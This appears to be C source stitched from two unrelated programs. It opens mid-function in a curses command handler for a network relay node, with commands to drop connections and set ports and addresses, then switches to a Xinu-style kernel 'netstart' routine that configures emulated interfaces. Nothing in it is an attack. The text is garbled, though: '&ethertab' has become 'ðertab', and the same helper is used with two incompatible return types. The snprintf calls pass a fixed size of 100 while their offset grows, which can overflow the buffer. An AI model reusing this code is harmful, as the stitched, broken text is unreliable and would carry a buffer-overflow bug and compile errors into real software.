char** buffer = parse(inputbuffer, &inputcount);
/* Quit the program */
if (buffer[0][0] == 'q') {
endwin();
exit(1);
}
/* Change output direction of middle node to LEFT */
else if (!strcmp(buffer[0], OUTPUTL)) {
if (!co->NO_LEFT)
co->OUTPUT_DIRECTION = 0;
else
co->OUTPUT_DIRECTION = 1;
if (co->OUTPUT_DIRECTION) {
cleanPrompt(co->PROMPT_WINDOW, &co->PROMPT);
putInPromptLower(co->PROMPT_WINDOW, "Output Direction: Right");
}
if (!co->OUTPUT_DIRECTION) {
cleanPrompt(co->PROMPT_WINDOW, &co->PROMPT);
putInPromptLower(co->PROMPT_WINDOW, "Output Direction: Left");
}
}
/* Change output direction of middle node to RIGHT */
else if (!strcmp(buffer[0], OUTPUTR)) {
if (!co->NO_RIGHT)
co->OUTPUT_DIRECTION = 1;
else
co->OUTPUT_DIRECTION = 0;
if (co->OUTPUT_DIRECTION) {
cleanPrompt(co->PROMPT_WINDOW, &co->PROMPT);
putInPromptLower(co->PROMPT_WINDOW, "Output Direction: Right");
}
if (!co->OUTPUT_DIRECTION) {
cleanPrompt(co->PROMPT_WINDOW, &co->PROMPT);
putInPromptLower(co->PROMPT_WINDOW, "Output Direction: Left");
}
}
/* Display current output direction */
else if (!strcmp(buffer[0], OUTPUT)) {
if (co->OUTPUT_DIRECTION) {
cleanPrompt(co->PROMPT_WINDOW, &co->PROMPT);
putInPromptLower(co->PROMPT_WINDOW, "Output Direction: Right");
}
if (!co->OUTPUT_DIRECTION) {
cleanPrompt(co->PROMPT_WINDOW, &co->PROMPT);
putInPromptLower(co->PROMPT_WINDOW, "Output Direction: Left");
}
}
/* Drop right side connection */
else if (!strcmp(buffer[0], DROPR)) {
datatoright (SOCKET_SHUTDOWN, co);
drop_right (co, read_set);
}
/* Drop left side connection */
else if (!strcmp(buffer[0], DROPL)) {
datatoleft (SOCKET_SHUTDOWN, co);
drop_left (co, read_set);
}
/* Drops all connections */
else if (!strcmp(buffer[0], DROPA)) {
datatoright (SOCKET_SHUTDOWN, co);
drop_right (co, read_set);
datatoleft (SOCKET_SHUTDOWN, co);
drop_left (co, read_set);
}
/* Display information about right side connection */
else if (!strcmp(buffer[0], RIGHT)) {
char temp[100];
bzero(temp, 100);
int len = 0;
if (co->NO_RIGHT) {
len += snprintf(temp + len, 100, "[Local Port] * ");
len += snprintf(temp + len, 100, "[Local IP] %s ", getlocalip());
len += snprintf(temp + len, 100, "[Remote Port] * ");
len += snprintf(temp + len, 100, "[Remote IP] *");
}
else if (co->RIGHT_FACING_SOCKET > co->RIGHT_FACING_SOCKET_LISTENING) {
len += snprintf(temp + len, 100, "[Local Port] %s ", itoa(getlocalport(co->RIGHT_FACING_SOCKET)));
len += snprintf(temp + len, 100, "[Local IP] %s ", getlocalip());
len += snprintf(temp + len, 100, "[Remote Port] %s ", itoa(getremoteport(co->RIGHT_FACING_SOCKET)));
len += snprintf(temp + len, 100, "[Remote IP] %s", getremoteip(co->RIGHT_FACING_SOCKET));
}
else {
len += snprintf(temp + len, 100, "[Local Port] %s ", itoa(getlocalport(co->RIGHT_FACING_SOCKET_LISTENING)));
len += snprintf(temp + len, 100, "[Local IP] %s ", getlocalip());
len += snprintf(temp + len, 100, "[Remote Port] * ");
len += snprintf(temp + len, 100, "[Remote IP] *");
}
cleanPrompt(co->PROMPT_WINDOW, &co->PROMPT);
putInPromptLower(co->PROMPT_WINDOW, temp);
}
/* Display information about left side connection */
else if (!strcmp(buffer[0], LEFT)) {
char temp[100];
bzero(temp, 100);
int len = 0;
if (co->NO_LEFT) {
len += snprintf(temp + len, 100, "[Local Port] * ");
len += snprintf(temp + len, 100, "[Local IP] %s ", getlocalip());
len += snprintf(temp + len, 100, "[Remote Port] * ");
len += snprintf(temp + len, 100, "[Remote IP] *");
}
else if (co->LEFT_FACING_SOCKET > co->LEFT_FACING_SOCKET_LISTENING) {
len += snprintf(temp + len, 100, "[Local Port] %s ", itoa(getlocalport(co->LEFT_FACING_SOCKET)));
len += snprintf(temp + len, 100, "[Local IP] %s ", getlocalip());
len += snprintf(temp + len, 100, "[Remote Port] %s ", itoa(getremoteport(co->LEFT_FACING_SOCKET)));
len += snprintf(temp + len, 100, "[Remote IP] %s", getremoteip(co->LEFT_FACING_SOCKET));
}
else {
len += snprintf(temp + len, 100, "[Local Port] %s ", itoa(getlocalport(co->LEFT_FACING_SOCKET_LISTENING)));
len += snprintf(temp + len, 100, "[Local IP] %s ", getlocalip());
len += snprintf(temp + len, 100, "[Remote Port] * ");
len += snprintf(temp + len, 100, "[Remote IP] *");
}
cleanPrompt(co->PROMPT_WINDOW, &co->PROMPT);
putInPromptLower(co->PROMPT_WINDOW, temp);
}
/* Display left remote address information */
else if (!strcmp(buffer[0], LRADDR)) {
if (inputcount > 1) {
if (co->LEFT_FACING_SOCKET_LISTENING > co->LEFT_FACING_SOCKET || (co->LEFT_FACING_SOCKET_LISTENING == SOCKET_RESET && co->LEFT_FACING_SOCKET == SOCKET_RESET)) {
co->LEFT_REMOTE_ADDR = buffer[1];
char temp[100];
snprintf (temp, 100, "Left Remote Address changed to: '%s'", co->LEFT_REMOTE_ADDR);
guiError (temp, *co);
}
else
guiError ("Cannot change left remote address while left side is active. Please drop the left side.", *co);
}
else
guiError ("Must specify an address.", *co);
}
/* Display right remote address information */
else if (!strcmp(buffer[0], RRADDR)) {
if (inputcount > 1) {
if (co->RIGHT_FACING_SOCKET_LISTENING > co->RIGHT_FACING_SOCKET || (co->RIGHT_FACING_SOCKET_LISTENING == SOCKET_RESET && co->RIGHT_FACING_SOCKET == SOCKET_RESET)) {
co->RIGHT_REMOTE_ADDR = buffer[1];
char temp[100];
snprintf (temp, 100, "Right Remote Address changed to: '%s'", co->RIGHT_REMOTE_ADDR);
guiError (temp, *co);
}
else
guiError ("Cannot change right remote address while right side is active. Please drop the right side.", *co);
}
else
guiError ("Must specify an address.", *co);
}
/* Enable left looping */
else if (!strcmp(buffer[0], LOOPL)) {
co->LOOP_LEFT = 1;
if (co->LOOP_LEFT && co->LOOP_RIGHT) {
co->LOOP_LEFT = 0;
co->LOOP_RIGHT = 0;
cleanPrompt(co->PROMPT_WINDOW, &co->PROMPT);
putInPromptLower(co->PROMPT_WINDOW, "Looping Disabled");
} else {
cleanPrompt(co->PROMPT_WINDOW, &co->PROMPT);
putInPromptLower(co->PROMPT_WINDOW, "Left Loop Enabled");
}
}
/* Enable right looping */
else if (!strcmp(buffer[0], LOOPR)) {
co->LOOP_RIGHT = 1;
if (co->LOOP_LEFT && co->LOOP_RIGHT) {
co->LOOP_RIGHT = 0;
co->LOOP_LEFT = 0;
cleanPrompt(co->PROMPT_WINDOW, &co->PROMPT);
putInPromptLower(co->PROMPT_WINDOW, "Looping Disabled");
} else {
cleanPrompt(co->PROMPT_WINDOW, &co->PROMPT);
putInPromptLower(co->PROMPT_WINDOW, "Right Loop Enabled");
}
}
/* Set a new Left Local Port value */
else if (!strcmp (buffer[0], LLPORT)) {
if (inputcount > 1) {
if (co->LEFT_FACING_SOCKET_LISTENING > co->LEFT_FACING_SOCKET || (co->LEFT_FACING_SOCKET_LISTENING == SOCKET_RESET && co->LEFT_FACING_SOCKET == SOCKET_RESET)) {
int llport = atoi(buffer[1]);
if (llport >= 1 && llport <= 65535)
co->LEFT_LOCAL_PORT = llport;
char temp[100];
snprintf (temp, 100, "Left Local Port changed to: %d", co->LEFT_LOCAL_PORT);
guiError (temp, *co);
}
else
guiError ("Cannot change left local port while left side is active. Please drop the left side.", *co);
}
else
guiError ("Must specify a port value.", *co);
}
/* Set a new Right Local Port value */
else if (!strcmp (buffer[0], RLPORT)) {
if (inputcount > 1) {
if (co->RIGHT_FACING_SOCKET_LISTENING > co->RIGHT_FACING_SOCKET || (co->RIGHT_FACING_SOCKET_LISTENING == SOCKET_RESET && co->RIGHT_FACING_SOCKET == SOCKET_RESET)) {
int rlport = atoi(buffer[1]);
if (rlport >= 1 && rlport <= 65535)
co->RIGHT_LOCAL_PORT = rlport;
char temp[100];
snprintf (temp, 100, "Right Local Port changed to: %d", co->RIGHT_LOCAL_PORT);
guiError (temp, *co);
}
else
guiError ("Cannot change right local port while left side is active. Please drop the right side.", *co);
}
else
guiError ("Must specify a port value.", *co);
}
/* Set a new Left Remote Port value */
else if (!strcmp (buffer[0], LRPORT)) {
if (inputcount > 1) {
if (co->LEFT_FACING_SOCKET_LISTENING > co->LEFT_FACING_SOCKET || (co->LEFT_FACING_SOCKET_LISTENING == SOCKET_RESET && co->LEFT_FACING_SOCKET == SOCKET_RESET)) {
int lrport = atoi(buffer[1]);
if (lrport >= 1 && lrport <= 65535)
co->LEFT_REMOTE_PORT = lrport;
char temp[100];
snprintf (temp, 100, "Left Remote Port changed to: %d", co->LEFT_REMOTE_PORT);
guiError (temp, *co);
}
else
guiError ("Cannot change left remote port while left side is active. Please drop the left side.", *co);
}
else
guiError ("Must specify a port value.", *co);
}
/* Default escape action */
else {
cleanPrompt(co->PROMPT_WINDOW, &co->PROMPT);
free (buffer);
return 0;
}
free(buffer);
return 1;
}
void netstart (void)
{
char buffer[20]; /* input buffer */
int32 nchars; /* number Of characters read */
int32 i; /* counter from 0 to nchars */
bool8 found; /* was a valid answer found? */
char ch; /* one character from the buff. */
struct ifentry *ifptr; /* ptr to interface */
uint32 ipaddr; /* IP address on interface 0 */
uint32 suffix; /* host suffix to use on both */
/* othernet interfaces */
static uint32 rarindex = 1; /* next RAR index to use */
struct ether *ethptr; /* ptr to Ethernet control blk. */
char *ifnames[] = {"Lab Ethernet","Othernet 1","Othernet 2"};
/* Initialize network interfaces */
kprintf("...initializing network stack\n");
net_init();
/* Initialize NAT tables */
nat_init();
/* Delay because Ethernet driver doesn't work without it */
sleepms(800);
/* Force system to use DHCP to obtain an address */
kprintf("...using dhcp to obtain an IP address\n");
ipaddr = getlocalip();
if (ipaddr == SYSERR) {
panic("Error: could not obtain an IP address\n\r");
}
kprintf("\nIP address is %d.%d.%d.%d (0x%08x)\n\r",
(ipaddr>>24)&0xff, (ipaddr>>16)&0xff, (ipaddr>>8)&0xff,
ipaddr&0xff,ipaddr);
ifptr = &if_tab[0];
kprintf("Subnet mask is %d.%d.%d.%d and router is %d.%d.%d.%d\n\r",
(ifptr->if_ipmask>>24)&0xff, (ifptr->if_ipmask>>16)&0xff,
(ifptr->if_ipmask>> 8)&0xff, ifptr->if_ipmask&0xff,
(ifptr->if_iprouter>>24)&0xff, (ifptr->if_iprouter>>16)&0xff,
(ifptr->if_iprouter>> 8)&0xff, ifptr->if_iprouter&0xff);
/* Ask the user for a Bing ID */
found = FALSE;
while (!found) {
printf("\n\rEnter a bing ID between 0 and 255: ");
nchars = read(CONSOLE, buffer, 20);
if ((nchars == SYSERR) || (nchars == EOF) ||
(nchars < 2)) {
continue;
}
nchars--; /* Eliminate NEWLINE */
bingid = 0;
for (i=0; i<nchars; i++) {
ch = buffer[i];
if ( (ch<'0') || (ch>'9')) {
break;
}
bingid = 10*bingid + (ch-'0');
}
if ((i<nchars) || (bingid > 254)) {
continue;
}
found = TRUE;
}
printf("Bing ID is set to %d.\n", bingid);
/* Generate Othernet emulation addresses */
suffix = ipaddr & 0x0000ffff; /* suffix is last two bytes of */
/* the IP address */
ethptr = ðertab[0];
/* Othernet 1 */
ifptr = &if_tab[1];
ifptr->if_ipmask = 0xffff0000; /* 255.255.0.0. */
ifptr->if_ipprefix= 0x0a010000; /* 10.1.0.0/16 */
ifptr->if_ipucast = ifptr->if_ipprefix | suffix;
ifptr->if_ipbcast = ifptr->if_ipprefix | ~ifptr->if_ipmask;
ifptr->if_macucast[0] = 0x11;
ifptr->if_macucast[1] = 0xff & (ipaddr >> 24);
ifptr->if_macucast[2] = 0xff & (ipaddr >> 16);
ifptr->if_macucast[3] = 0xff & (ipaddr >> 8);
ifptr->if_macucast[4] = 0xff & (ipaddr >> 0);
ifptr->if_macucast[5] = 0xff & bingid;
e1000e_rar_set(ethptr, ifptr->if_macucast, rarindex++);
ifptr->if_macbcast[0] = 0x11;
ifptr->if_macbcast[1] = 0xff;
ifptr->if_macbcast[2] = 0xff;
ifptr->if_macbcast[3] = 0xff;
ifptr->if_macbcast[4] = 0xff;
ifptr->if_macbcast[5] = 0xff & bingid;
e1000e_rar_set(ethptr, ifptr->if_macbcast, rarindex++);
ifptr->if_ipvalid = TRUE;
/* Othernet 2 */
ifptr = &if_tab[2];
ifptr->if_ipmask = 0xffff0000; /* 255.255.0.0. */
ifptr->if_ipprefix= 0x0a020000; /* 10.2.0.0/16 */
ifptr->if_ipucast = ifptr->if_ipprefix | suffix;
ifptr->if_ipbcast = ifptr->if_ipprefix | ~ifptr->if_ipmask;
ifptr->if_macucast[0] = 0x21;
ifptr->if_macucast[1] = 0xff & (ipaddr >> 24);
ifptr->if_macucast[2] = 0xff & (ipaddr >> 16);
ifptr->if_macucast[3] = 0xff & (ipaddr >> 8);
ifptr->if_macucast[4] = 0xff & (ipaddr >> 0);
ifptr->if_macucast[5] = 0xff & bingid;
e1000e_rar_set(ethptr, ifptr->if_macucast, rarindex++);
ifptr->if_macbcast[0] = 0x21;
ifptr->if_macbcast[1] = 0xff;
ifptr->if_macbcast[2] = 0xff;
ifptr->if_macbcast[3] = 0xff;
ifptr->if_macbcast[4] = 0xff;
ifptr->if_macbcast[5] = 0xff & bingid;
e1000e_rar_set(ethptr, ifptr->if_macbcast, rarindex++);
ifptr->if_ipvalid = TRUE;
/* Ask the user what to run */
found = FALSE;
while (!found) {
printf("\nEnter r for router or hX for host on interface X: ");
nchars = read(CONSOLE, buffer, 20);
switch (nchars) {
case 2:
ch = buffer[0];
if ( (ch!='r') && (ch!='R')) {
continue;
}
host = FALSE;
ifprime = 0;
found = TRUE;
break;
case 3:
ch = buffer[0];
if ((ch!='h') && (ch!='H')) {
continue;
}
ch = buffer[1];
if ( (ch<'0') || (ch>'2')) {
continue;
}
ifprime = ch - '0';
host = TRUE;
found = TRUE;
break;
default:
continue;
}
}
if (host) {
printf("\nRunning host on %s\n\r", ifnames[ifprime]);
if (ifprime != 0) {
/* Shut off Ethernet and bring up other net */
if_tab[0].if_state = IF_DOWN;
ifptr = &if_tab[ifprime];
ifptr->if_state = IF_UP;
/* Set default route to router address */
if (ifptr->if_iprouter == 0) {
ifptr->if_iprouter = ifptr->if_ipprefix |
ROUTER_SUFFIX;
}
}
} else {
kprintf("Running a router\n\r");
for (i=0; i<NIFACES; i++) {
ifptr = &if_tab[i];
ifptr->if_state = IF_UP;
if (i != 0) {
/* Set router address */
ifptr->if_ipucast = ifptr->if_ipprefix |
ROUTER_SUFFIX;
}
}
}
return;
}